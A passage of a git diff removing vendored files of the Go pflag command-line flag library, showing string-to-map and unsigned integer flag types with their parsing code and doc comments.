StringSliceVarP(p *[]string, name, shorthand string, value []string, usage string) { - f.VarP(newStringSliceValue(value, p), name, shorthand, usage) -} - -// StringSliceVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a []string variable in which to store the value of the flag. -// Compared to StringArray flags, StringSlice flags take comma-separated value as arguments and split them accordingly. -// For example: -// --ss="v1,v2" --ss="v3" -// will result in -// []string{"v1", "v2", "v3"} -func StringSliceVar(p *[]string, name string, value []string, usage string) { - CommandLine.VarP(newStringSliceValue(value, p), name, "", usage) -} - -// StringSliceVarP is like StringSliceVar, but accepts a shorthand letter that can be used after a single dash. -func StringSliceVarP(p *[]string, name, shorthand string, value []string, usage string) { - CommandLine.VarP(newStringSliceValue(value, p), name, shorthand, usage) -} - -// StringSlice defines a string flag with specified name, default value, and usage string. -// The return value is the address of a []string variable that stores the value of the flag. -// Compared to StringArray flags, StringSlice flags take comma-separated value as arguments and split them accordingly. -// For example: -// --ss="v1,v2" --ss="v3" -// will result in -// []string{"v1", "v2", "v3"} -func (f *FlagSet) StringSlice(name string, value []string, usage string) *[]string { - p := []string{} - f.StringSliceVarP(&p, name, "", value, usage) - return &p -} - -// StringSliceP is like StringSlice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringSliceP(name, shorthand string, value []string, usage string) *[]string { - p := []string{} - f.StringSliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// StringSlice defines a string flag with specified name, default value, and usage string. -// The return value is the address of a []string variable that stores the value of the flag. -// Compared to StringArray flags, StringSlice flags take comma-separated value as arguments and split them accordingly. -// For example: -// --ss="v1,v2" --ss="v3" -// will result in -// []string{"v1", "v2", "v3"} -func StringSlice(name string, value []string, usage string) *[]string { - return CommandLine.StringSliceP(name, "", value, usage) -} - -// StringSliceP is like StringSlice, but accepts a shorthand letter that can be used after a single dash. -func StringSliceP(name, shorthand string, value []string, usage string) *[]string { - return CommandLine.StringSliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/string_to_int.go b/vendor/github.com/spf13/pflag/string_to_int.go deleted file mode 100644 index 5ceda3965d..0000000000 --- a/vendor/github.com/spf13/pflag/string_to_int.go +++ /dev/null @@ -1,149 +0,0 @@ -package pflag - -import ( - "bytes" - "fmt" - "strconv" - "strings" -) - -// -- stringToInt Value -type stringToIntValue struct { - value *map[string]int - changed bool -} - -func newStringToIntValue(val map[string]int, p *map[string]int) *stringToIntValue { - ssv := new(stringToIntValue) - ssv.value = p - *ssv.value = val - return ssv -} - -// Format: a=1,b=2 -func (s *stringToIntValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make(map[string]int, len(ss)) - for _, pair := range ss { - kv := strings.SplitN(pair, "=", 2) - if len(kv) != 2 { - return fmt.Errorf("%s must be formatted as key=value", pair) - } - var err error - out[kv[0]], err = strconv.Atoi(kv[1]) - if err != nil { - return err - } - } - if !s.changed { - *s.value = out - } else { - for k, v := range out { - (*s.value)[k] = v - } - } - s.changed = true - return nil -} - -func (s *stringToIntValue) Type() string { - return "stringToInt" -} - -func (s *stringToIntValue) String() string { - var buf bytes.Buffer - i := 0 - for k, v := range *s.value { - if i > 0 { - buf.WriteRune(',') - } - buf.WriteString(k) - buf.WriteRune('=') - buf.WriteString(strconv.Itoa(v)) - i++ - } - return "[" + buf.String() + "]" -} - -func stringToIntConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // An empty string would cause an empty map - if len(val) == 0 { - return map[string]int{}, nil - } - ss := strings.Split(val, ",") - out := make(map[string]int, len(ss)) - for _, pair := range ss { - kv := strings.SplitN(pair, "=", 2) - if len(kv) != 2 { - return nil, fmt.Errorf("%s must be formatted as key=value", pair) - } - var err error - out[kv[0]], err = strconv.Atoi(kv[1]) - if err != nil { - return nil, err - } - } - return out, nil -} - -// GetStringToInt return the map[string]int value of a flag with the given name -func (f *FlagSet) GetStringToInt(name string) (map[string]int, error) { - val, err := f.getFlagType(name, "stringToInt", stringToIntConv) - if err != nil { - return map[string]int{}, err - } - return val.(map[string]int), nil -} - -// StringToIntVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a map[string]int variable in which to store the values of the multiple flags. -// The value of each argument will not try to be separated by comma -func (f *FlagSet) StringToIntVar(p *map[string]int, name string, value map[string]int, usage string) { - f.VarP(newStringToIntValue(value, p), name, "", usage) -} - -// StringToIntVarP is like StringToIntVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringToIntVarP(p *map[string]int, name, shorthand string, value map[string]int, usage string) { - f.VarP(newStringToIntValue(value, p), name, shorthand, usage) -} - -// StringToIntVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a map[string]int variable in which to store the value of the flag. -// The value of each argument will not try to be separated by comma -func StringToIntVar(p *map[string]int, name string, value map[string]int, usage string) { - CommandLine.VarP(newStringToIntValue(value, p), name, "", usage) -} - -// StringToIntVarP is like StringToIntVar, but accepts a shorthand letter that can be used after a single dash. -func StringToIntVarP(p *map[string]int, name, shorthand string, value map[string]int, usage string) { - CommandLine.VarP(newStringToIntValue(value, p), name, shorthand, usage) -} - -// StringToInt defines a string flag with specified name, default value, and usage string. -// The return value is the address of a map[string]int variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma -func (f *FlagSet) StringToInt(name string, value map[string]int, usage string) *map[string]int { - p := map[string]int{} - f.StringToIntVarP(&p, name, "", value, usage) - return &p -} - -// StringToIntP is like StringToInt, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringToIntP(name, shorthand string, value map[string]int, usage string) *map[string]int { - p := map[string]int{} - f.StringToIntVarP(&p, name, shorthand, value, usage) - return &p -} - -// StringToInt defines a string flag with specified name, default value, and usage string. -// The return value is the address of a map[string]int variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma -func StringToInt(name string, value map[string]int, usage string) *map[string]int { - return CommandLine.StringToIntP(name, "", value, usage) -} - -// StringToIntP is like StringToInt, but accepts a shorthand letter that can be used after a single dash. -func StringToIntP(name, shorthand string, value map[string]int, usage string) *map[string]int { - return CommandLine.StringToIntP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/string_to_int64.go b/vendor/github.com/spf13/pflag/string_to_int64.go deleted file mode 100644 index a807a04a0b..0000000000 --- a/vendor/github.com/spf13/pflag/string_to_int64.go +++ /dev/null @@ -1,149 +0,0 @@ -package pflag - -import ( - "bytes" - "fmt" - "strconv" - "strings" -) - -// -- stringToInt64 Value -type stringToInt64Value struct { - value *map[string]int64 - changed bool -} - -func newStringToInt64Value(val map[string]int64, p *map[string]int64) *stringToInt64Value { - ssv := new(stringToInt64Value) - ssv.value = p - *ssv.value = val - return ssv -} - -// Format: a=1,b=2 -func (s *stringToInt64Value) Set(val string) error { - ss := strings.Split(val, ",") - out := make(map[string]int64, len(ss)) - for _, pair := range ss { - kv := strings.SplitN(pair, "=", 2) - if len(kv) != 2 { - return fmt.Errorf("%s must be formatted as key=value", pair) - } - var err error - out[kv[0]], err = strconv.ParseInt(kv[1], 10, 64) - if err != nil { - return err - } - } - if !s.changed { - *s.value = out - } else { - for k, v := range out { - (*s.value)[k] = v - } - } - s.changed = true - return nil -} - -func (s *stringToInt64Value) Type() string { - return "stringToInt64" -} - -func (s *stringToInt64Value) String() string { - var buf bytes.Buffer - i := 0 - for k, v := range *s.value { - if i > 0 { - buf.WriteRune(',') - } - buf.WriteString(k) - buf.WriteRune('=') - buf.WriteString(strconv.FormatInt(v, 10)) - i++ - } - return "[" + buf.String() + "]" -} - -func stringToInt64Conv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // An empty string would cause an empty map - if len(val) == 0 { - return map[string]int64{}, nil - } - ss := strings.Split(val, ",") - out := make(map[string]int64, len(ss)) - for _, pair := range ss { - kv := strings.SplitN(pair, "=", 2) - if len(kv) != 2 { - return nil, fmt.Errorf("%s must be formatted as key=value", pair) - } - var err error - out[kv[0]], err = strconv.ParseInt(kv[1], 10, 64) - if err != nil { - return nil, err - } - } - return out, nil -} - -// GetStringToInt64 return the map[string]int64 value of a flag with the given name -func (f *FlagSet) GetStringToInt64(name string) (map[string]int64, error) { - val, err := f.getFlagType(name, "stringToInt64", stringToInt64Conv) - if err != nil { - return map[string]int64{}, err - } - return val.(map[string]int64), nil -} - -// StringToInt64Var defines a string flag with specified name, default value, and usage string. -// The argument p point64s to a map[string]int64 variable in which to store the values of the multiple flags. -// The value of each argument will not try to be separated by comma -func (f *FlagSet) StringToInt64Var(p *map[string]int64, name string, value map[string]int64, usage string) { - f.VarP(newStringToInt64Value(value, p), name, "", usage) -} - -// StringToInt64VarP is like StringToInt64Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringToInt64VarP(p *map[string]int64, name, shorthand string, value map[string]int64, usage string) { - f.VarP(newStringToInt64Value(value, p), name, shorthand, usage) -} - -// StringToInt64Var defines a string flag with specified name, default value, and usage string. -// The argument p point64s to a map[string]int64 variable in which to store the value of the flag. -// The value of each argument will not try to be separated by comma -func StringToInt64Var(p *map[string]int64, name string, value map[string]int64, usage string) { - CommandLine.VarP(newStringToInt64Value(value, p), name, "", usage) -} - -// StringToInt64VarP is like StringToInt64Var, but accepts a shorthand letter that can be used after a single dash. -func StringToInt64VarP(p *map[string]int64, name, shorthand string, value map[string]int64, usage string) { - CommandLine.VarP(newStringToInt64Value(value, p), name, shorthand, usage) -} - -// StringToInt64 defines a string flag with specified name, default value, and usage string. -// The return value is the address of a map[string]int64 variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma -func (f *FlagSet) StringToInt64(name string, value map[string]int64, usage string) *map[string]int64 { - p := map[string]int64{} - f.StringToInt64VarP(&p, name, "", value, usage) - return &p -} - -// StringToInt64P is like StringToInt64, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringToInt64P(name, shorthand string, value map[string]int64, usage string) *map[string]int64 { - p := map[string]int64{} - f.StringToInt64VarP(&p, name, shorthand, value, usage) - return &p -} - -// StringToInt64 defines a string flag with specified name, default value, and usage string. -// The return value is the address of a map[string]int64 variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma -func StringToInt64(name string, value map[string]int64, usage string) *map[string]int64 { - return CommandLine.StringToInt64P(name, "", value, usage) -} - -// StringToInt64P is like StringToInt64, but accepts a shorthand letter that can be used after a single dash. -func StringToInt64P(name, shorthand string, value map[string]int64, usage string) *map[string]int64 { - return CommandLine.StringToInt64P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/string_to_string.go b/vendor/github.com/spf13/pflag/string_to_string.go deleted file mode 100644 index 890a01afc0..0000000000 --- a/vendor/github.com/spf13/pflag/string_to_string.go +++ /dev/null @@ -1,160 +0,0 @@ -package pflag - -import ( - "bytes" - "encoding/csv" - "fmt" - "strings" -) - -// -- stringToString Value -type stringToStringValue struct { - value *map[string]string - changed bool -} - -func newStringToStringValue(val map[string]string, p *map[string]string) *stringToStringValue { - ssv := new(stringToStringValue) - ssv.value = p - *ssv.value = val - return ssv -} - -// Format: a=1,b=2 -func (s *stringToStringValue) Set(val string) error { - var ss []string - n := strings.Count(val, "=") - switch n { - case 0: - return fmt.Errorf("%s must be formatted as key=value", val) - case 1: - ss = append(ss, strings.Trim(val, `"`)) - default: - r := csv.NewReader(strings.NewReader(val)) - var err error - ss, err = r.Read() - if err != nil { - return err - } - } - - out := make(map[string]string, len(ss)) - for _, pair := range ss { - kv := strings.SplitN(pair, "=", 2) - if len(kv) != 2 { - return fmt.Errorf("%s must be formatted as key=value", pair) - } - out[kv[0]] = kv[1] - } - if !s.changed { - *s.value = out - } else { - for k, v := range out { - (*s.value)[k] = v - } - } - s.changed = true - return nil -} - -func (s *stringToStringValue) Type() string { - return "stringToString" -} - -func (s *stringToStringValue) String() string { - records := make([]string, 0, len(*s.value)>>1) - for k, v := range *s.value { - records = append(records, k+"="+v) - } - - var buf bytes.Buffer - w := csv.NewWriter(&buf) - if err := w.Write(records); err != nil { - panic(err) - } - w.Flush() - return "[" + strings.TrimSpace(buf.String()) + "]" -} - -func stringToStringConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // An empty string would cause an empty map - if len(val) == 0 { - return map[string]string{}, nil - } - r := csv.NewReader(strings.NewReader(val)) - ss, err := r.Read() - if err != nil { - return nil, err - } - out := make(map[string]string, len(ss)) - for _, pair := range ss { - kv := strings.SplitN(pair, "=", 2) - if len(kv) != 2 { - return nil, fmt.Errorf("%s must be formatted as key=value", pair) - } - out[kv[0]] = kv[1] - } - return out, nil -} - -// GetStringToString return the map[string]string value of a flag with the given name -func (f *FlagSet) GetStringToString(name string) (map[string]string, error) { - val, err := f.getFlagType(name, "stringToString", stringToStringConv) - if err != nil { - return map[string]string{}, err - } - return val.(map[string]string), nil -} - -// StringToStringVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a map[string]string variable in which to store the values of the multiple flags. -// The value of each argument will not try to be separated by comma -func (f *FlagSet) StringToStringVar(p *map[string]string, name string, value map[string]string, usage string) { - f.VarP(newStringToStringValue(value, p), name, "", usage) -} - -// StringToStringVarP is like StringToStringVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringToStringVarP(p *map[string]string, name, shorthand string, value map[string]string, usage string) { - f.VarP(newStringToStringValue(value, p), name, shorthand, usage) -} - -// StringToStringVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a map[string]string variable in which to store the value of the flag. -// The value of each argument will not try to be separated by comma -func StringToStringVar(p *map[string]string, name string, value map[string]string, usage string) { - CommandLine.VarP(newStringToStringValue(value, p), name, "", usage) -} - -// StringToStringVarP is like StringToStringVar, but accepts a shorthand letter that can be used after a single dash. -func StringToStringVarP(p *map[string]string, name, shorthand string, value map[string]string, usage string) { - CommandLine.VarP(newStringToStringValue(value, p), name, shorthand, usage) -} - -// StringToString defines a string flag with specified name, default value, and usage string. -// The return value is the address of a map[string]string variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma -func (f *FlagSet) StringToString(name string, value map[string]string, usage string) *map[string]string { - p := map[string]string{} - f.StringToStringVarP(&p, name, "", value, usage) - return &p -} - -// StringToStringP is like StringToString, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringToStringP(name, shorthand string, value map[string]string, usage string) *map[string]string { - p := map[string]string{} - f.StringToStringVarP(&p, name, shorthand, value, usage) - return &p -} - -// StringToString defines a string flag with specified name, default value, and usage string. -// The return value is the address of a map[string]string variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma -func StringToString(name string, value map[string]string, usage string) *map[string]string { - return CommandLine.StringToStringP(name, "", value, usage) -} - -// StringToStringP is like StringToString, but accepts a shorthand letter that can be used after a single dash. -func StringToStringP(name, shorthand string, value map[string]string, usage string) *map[string]string { - return CommandLine.StringToStringP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/uint.go b/vendor/github.com/spf13/pflag/uint.go deleted file mode 100644 index dcbc2b758c..0000000000 --- a/vendor/github.com/spf13/pflag/uint.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- uint Value -type uintValue uint - -func newUintValue(val uint, p *uint) *uintValue { - *p = val - return (*uintValue)(p) -} - -func (i *uintValue) Set(s string) error { - v, err := strconv.ParseUint(s, 0, 64) - *i = uintValue(v) - return err -} - -func (i *uintValue) Type() string { - return "uint" -} - -func (i *uintValue) String() string { return strconv.FormatUint(uint64(*i), 10) } - -func uintConv(sval string) (interface{}, error) { - v, err := strconv.ParseUint(sval, 0, 0) - if err != nil { - return 0, err - } - return uint(v), nil -} - -// GetUint return the uint value of a flag with the given name -func (f *FlagSet) GetUint(name string) (uint, error) { - val, err := f.getFlagType(name, "uint", uintConv) - if err != nil { - return 0, err - } - return val.(uint), nil -} - -// UintVar defines a uint flag with specified name, default value, and usage string. -// The argument p points to a uint variable in which to store the value of the flag. -func (f *FlagSet) UintVar(p *uint, name string, value uint, usage string) { - f.VarP(newUintValue(value, p), name, "", usage) -} - -// UintVarP is like UintVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) UintVarP(p *uint, name, shorthand string, value uint, usage string) { - f.VarP(newUintValue(value, p), name, shorthand, usage) -} - -// UintVar defines a uint flag with specified name, default value, and usage string. -// The argument p points to a uint variable in which to store the value of the flag. -func UintVar(p *uint, name string, value uint, usage string) { - CommandLine.VarP(newUintValue(value, p), name, "", usage) -} - -// UintVarP is like UintVar, but accepts a shorthand letter that can be used after a single dash. -func UintVarP(p *uint, name, shorthand string, value uint, usage string) { - CommandLine.VarP(newUintValue(value, p), name, shorthand, usage) -} - -// Uint defines a uint flag with specified name, default value, and usage string. -// The return value is the address of a uint variable that stores the value of the flag. -func (f *FlagSet) Uint(name string, value uint, usage string) *uint { - p := new(uint) - f.UintVarP(p, name, "", value, usage) - return p -} - -// UintP is like Uint, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) UintP(name, shorthand string, value uint, usage string) *uint { - p := new(uint) - f.UintVarP(p, name, shorthand, value, usage) - return p -} - -// Uint defines a uint flag with specified name, default value, and usage string. -// The return value is the address of a uint variable that stores the value of the flag. -func Uint(name string, value uint, usage string) *uint { - return CommandLine.UintP(name, "", value, usage) -} - -// UintP is like Uint, but accepts a shorthand letter that can be used after a single dash. -func UintP(name, shorthand string, value uint, usage string) *uint { - return CommandLine.UintP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/uint16.go b/vendor/github.com/spf13/pflag/uint16.go deleted file mode 100644 index 7e9914eddd..0000000000 --- a/vendor/github.com/spf13/pflag/uint16.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- uint16 value -type uint16Value uint16 - -func newUint16Value(val uint16, p *uint16) *uint16Value { - *p = val - return (*uint16Value)(p) -} - -func (i *uint16Value) Set(s string) error { - v, err := strconv.ParseUint(s, 0, 16) - *i = uint16Value(v) - return err -} - -func (i *uint16Value) Type() string { - return "uint16" -} - -func (i *uint16Value) String() string { return strconv.FormatUint(uint64(*i), 10) } - -func uint16Conv(sval string) (interface{}, error) { - v, err := strconv.ParseUint(sval, 0, 16) - if err != nil { - return 0, err - } - return uint16(v), nil -} - -// GetUint16 return the uint16 value of a flag with the given name -func (f *FlagSet) GetUint16(name string) (uint16, error) { - val, err := f.getFlagType(name, "uint16", uint16Conv) - if err != nil { - return 0, err - } - return val.(uint16), nil -} - -// Uint16Var defines a uint flag with specified name, default value, and usage string. -// The argument p points to a uint variable in which to store the value of the flag. -func (f *FlagSet) Uint16Var(p *uint16, name string, value uint16, usage string) { - f.VarP(newUint16Value(value, p), name, "", usage) -} - -// Uint16VarP is like Uint16Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint16VarP(p *uint16, name, shorthand string, value uint16, usage string) { - f.VarP(newUint16Value(value, p), name, shorthand, usage) -} - -// Uint16Var defines a uint flag with specified name, default value, and usage string. -// The argument p points to a uint variable in which to store the value of the flag. -func Uint16Var(p *uint16, name string, value uint16, usage string) { - CommandLine.VarP(newUint16Value(value, p), name, "", usage) -} - -// Uint16VarP is like Uint16Var, but accepts a shorthand letter that can be used after a single dash. -func Uint16VarP(p *uint16, name, shorthand string, value uint16, usage string) { - CommandLine.VarP(newUint16Value(value, p), name, shorthand, usage) -} - -// Uint16 defines a uint flag with specified name, default value, and usage string. -// The return value is the address of a uint variable that stores the value of the flag. -func (f *FlagSet) Uint16(name string, value uint16, usage string) *uint16 { - p := new(uint16) - f.Uint16VarP(p, name, "", value, usage) - return p -} - -// Uint16P is like Uint16, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint16P(name, shorthand string, value uint16, usage string) *uint16 { - p := new(uint16) - f.Uint16VarP(p, name, shorthand, value, usage) - return p -} - -// Uint16 defines a uint flag with specified name, default value, and usage string. -// The return value is the address of a uint variable that stores the value of the flag. -func Uint16(name string, value uint16, usage string) *uint16 { - return CommandLine.Uint16P(name, "", value, usage) -} - -// Uint16P is like Uint16, but accepts a shorthand letter that can be used after a single dash. -func Uint16P(name, shorthand string, value uint16, usage string) *uint16 { - return CommandLine.Uint16P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/uint32.go b/vendor/github.com/spf13/pflag/uint32.go deleted file mode 100644 index d8024539bf..0000000000 --- a/vendor/github.com/spf13/pflag/uint32.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- uint32 value -type uint32Value uint32 - -func newUint32Value(val uint32, p *uint32) *uint32Value { - *p = val - return (*uint32Value)(p) -} - -func (i *uint32Value) Set(s string) error { - v, err := strconv.ParseUint(s, 0, 32) - *i = uint32Value(v) - return err -} - -func (i *uint32Value) Type() string { - return "uint32" -} - -func (i *uint32Value) String() string { return strconv.FormatUint(uint64(*i), 10) } - -func uint32Conv(sval string) (interface{}, error) { - v, err := strconv.ParseUint(sval, 0, 32) - if err != nil { - return 0, err - } - return uint32(v), nil -} - -// GetUint32 return the uint32 value of a flag with the given name -func (f *FlagSet) GetUint32(name string) (uint32, error) { - val, err := f.getFlagType(name, "uint32", uint32Conv) - if err != nil { - return 0, err - } - return val.(uint32), nil -} - -// Uint32Var defines a uint32 flag with specified name, default value, and usage string. -// The argument p points to a uint32 variable in which to store the value of the flag. -func (f *FlagSet) Uint32Var(p *uint32, name string, value uint32, usage string) { - f.VarP(newUint32Value(value, p), name, "", usage) -} - -// Uint32VarP is like Uint32Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint32VarP(p *uint32, name, shorthand string, value uint32, usage string) { - f.VarP(newUint32Value(value, p), name, shorthand, usage) -} - -// Uint32Var defines a uint32 flag with specified name, default value, and usage string. -// The argument p points to a uint32 variable in which to store the value of the flag. -func Uint32Var(p *uint32, name string, value uint32, usage string) { - CommandLine.VarP(newUint32Value(value, p), name, "", usage) -} - -// Uint32VarP is like Uint32Var, but accepts a shorthand letter that can be used after a single dash. -func Uint32VarP(p *uint32, name, shorthand string, value uint32, usage string) { - CommandLine.VarP(newUint32Value(value, p), name, shorthand, usage) -} - -// Uint32 defines a uint32 flag with specified name, default value, and usage string. -// The return value is the address of a uint32 variable that stores the value of the flag. -func (f *FlagSet) Uint32(name string, value uint32, usage string) *uint32 { - p := new(uint32) - f.Uint32VarP(p, name, "", value, usage) - return p -} - -// Uint32P is like Uint32, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint32P(name, shorthand string, value uint32, usage string) *uint32 { - p := new(uint32) - f.Uint32VarP(p, name, shorthand, value, usage) - return p -} - -// Uint32 defines a uint32 flag with specified name, default value, and usage string. -// The return value is the address of a uint32 variable that stores the value of the flag. -func Uint32(name string, value uint32, usage string) *uint32 { - return CommandLine.Uint32P(name, "", value, usage) -} - -// Uint32P is like Uint32, but accepts a shorthand letter that can be used after a single dash. -func Uint32P(name, shorthand string, value uint32, usage string) *uint32 { - return CommandLine.Uint32P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/uint64.go b/vendor/github.com/spf13/pflag/uint64.go deleted file mode 100644 index f62240f2ce..0000000000 --- a/vendor/github.com/spf13/pflag/uint64.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- uint64 Value -type uint64Value uint64 - -func newUint64Value(val uint64, p *uint64) *uint64Value { - *p = val - return (*uint64Value)(p) -} - -func (i *uint64Value) Set(s string) error { - v, err := strconv.ParseUint(s, 0, 64) - *i = uint64Value(v) - return err -} - -func (i *uint64Value) Type() string { - return "uint64" -} - -func (i *uint64Value) String() string { return strconv.FormatUint(uint64(*i), 10) } - -func uint64Conv(sval string) (interface{}, error) { - v, err := strconv.ParseUint(sval, 0, 64) - if err != nil { - return 0, err - } - return uint64(v), nil -} - -// GetUint64 return the uint64 value of a flag with the given name -func (f *FlagSet) GetUint64(name string) (uint64, error) { - val, err := f.getFlagType(name, "uint64", uint64Conv) - if err != nil { - return 0, err - } - return val.(uint64), nil -} - -// Uint64Var defines a uint64 flag with specified name, default value, and usage string. -// The argument p points to a uint64 variable in which to store the value of the flag. -func (f *FlagSet) Uint64Var(p *uint64, name string, value uint64, usage string) { - f.VarP(newUint64Value(value, p), name, "", usage) -} - -// Uint64VarP is like Uint64Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint64VarP(p *uint64, name, shorthand string, value uint64, usage string) { - f.VarP(newUint64Value(value, p), name, shorthand, usage) -} - -// Uint64Var defines a uint64 flag with specified name, default value, and usage string. -// The argument p points to a uint64 variable in which to store the value of the flag. -func Uint64Var(p *uint64, name string, value uint64, usage string) { - CommandLine.VarP(newUint64Value(value, p), name, "", usage) -} - -// Uint64VarP is like Uint64Var, but accepts a shorthand letter that can be used after a single dash. -func Uint64VarP(p *uint64, name, shorthand string, value uint64, usage string) { - CommandLine.VarP(newUint64Value(value, p), name, shorthand, usage) -} - -// Uint64 defines a uint64 flag with specified name, default value, and usage string. -// The return value is the address of a uint64 variable that stores the value of the flag. -func (f *FlagSet) Uint64(name string, value uint64, usage string) *uint64 { - p := new(uint64) - f.Uint64VarP(p, name, "", value, usage) - return p -} - -// Uint64P is like Uint64, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint64P(name, shorthand string, value uint64, usage string) *uint64 { - p := new(uint64) - f.Uint64VarP(p, name, shorthand, value, usage) - return p -} - -// Uint64 defines a uint64 flag with specified name, default value, and usage string. -// The return value is the address of a uint64 variable that stores the value of the flag. -func Uint64(name string, value uint64, usage string) *uint64 { - return CommandLine.Uint64P(name, "", value, usage) -} - -// Uint64P is like Uint64, but accepts a shorthand letter that can be used after a single dash. -func Uint64P(name, shorthand string, value uint64, usage string) *uint64 { - return CommandLine.Uint64P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/uint8.go b/vendor/github.com/spf13/pflag/uint8.go deleted file mode 100644 index bb0e83c1f6..0000000000 --- a/vendor/github.com/spf13/pflag/uint8.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- uint8 Value -type uint8Value uint8 - -func newUint8Value(val uint8, p *uint8) *uint8Value { - *p = val - return (*uint8Value)(p) -} - -func (i *uint8Value) Set(s string) error { - v, err := strconv.ParseUint(s, 0, 8) - *i = uint8Value(v) - return err -} - -func (i *uint8Value) Type() string { - return "uint8" -} - -func (i *uint8Value) String() string { return strconv.FormatUint(uint64(*i), 10) } - -func uint8Conv(sval string) (interface{}, error) { - v, err := strconv.ParseUint(sval, 0, 8) - if err != nil { - return 0, err - } - return uint8(v), nil -} - -// GetUint8 return the uint8 value of a flag with the given name -func (f *FlagSet) GetUint8(name string) (uint8, error) { - val, err := f.getFlagType(name, "uint8", uint8Conv) - if err != nil { - return 0, err - } - return val.(uint8), nil -} - -// Uint8Var defines a uint8 flag with specified name, default value, and usage string. -// The argument p points to a uint8 variable in which to store the value of the flag. -func (f *FlagSet) Uint8Var(p *uint8, name string, value uint8, usage string) { - f.VarP(newUint8Value(value, p), name, "", usage) -} - -// Uint8VarP is like Uint8Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint8VarP(p *uint8, name, shorthand string, value uint8, usage string) { - f.VarP(newUint8Value(value, p), name, shorthand, usage) -} - -// Uint8Var defines a uint8 flag with specified name, default value, and usage string. -// The argument p points to a uint8 variable in which to store the value of the flag. -func Uint8Var(p *uint8, name string, value uint8, usage string) { - CommandLine.VarP(newUint8Value(value, p), name, "", usage) -} - -// Uint8VarP is like Uint8Var, but accepts a shorthand letter that can be used after a single dash. -func Uint8VarP(p *uint8, name, shorthand string, value uint8, usage string) { - CommandLine.VarP(newUint8Value(value, p), name, shorthand, usage) -} - -// Uint8 defines a uint8 flag with specified name, default value, and usage string. -// The return value is the address of a uint8 variable that stores the value of the flag. -func (f *FlagSet) Uint8(name string, value uint8, usage string) *uint8 { - p := new(uint8) - f.Uint8VarP(p, name, "", value, usage) - return p -} - -// Uint8P is like Uint8, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Uint8P(name, shorthand string, value uint8, usage string) *uint8 { - p := new(uint8) - f.Uint8VarP(p, name, shorthand, value, usage) - return p -} - -// Uint8 defines a uint8 flag with specified name, default value, and usage string. -// The return value is the address of a uint8 variable that stores the value of the flag. -func Uint8(name string, value uint8, usage string) *uint8 { - return CommandLine.Uint8P(name, "", value, usage) -} - -// Uint8P is like Uint8, but accepts a shorthand letter that can be used after a single dash. -func Uint8P(name, shorthand string, value uint8, usage string) *uint8 { - return CommandLine.Uint8P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/uint_slice.go b/vendor/github.com/spf13/pflag/uint_slice.go deleted file mode 100644 index 5fa924835e..0000000000 --- a/vendor/github.com/spf13/pflag/uint_slice.go +++ /dev/null @@ -1,168 +0,0 @@ -package pflag - -import ( - "fmt" - "strconv" - "strings" -) - -// -- uintSlice Value -type uintSliceValue struct { - value *[]uint - changed bool -} - -func newUintSliceValue(val []uint, p *[]uint) *uintSliceValue { - uisv := new(uintSliceValue) - uisv.value = p - *uisv.value = val - return uisv -} - -func (s *uintSliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]uint, len(ss)) - for i, d := range ss { - u, err := strconv.ParseUint(d, 10, 0) - if err != nil { - return err - } - out[i] = uint(u) - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *uintSliceValue) Type() string { - return "uintSlice" -} - -func (s *uintSliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%d", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *uintSliceValue) fromString(val string) (uint, error) { - t, err := strconv.ParseUint(val, 10, 0) - if err != nil { - return 0, err - } - return uint(t), nil -} - -func (s 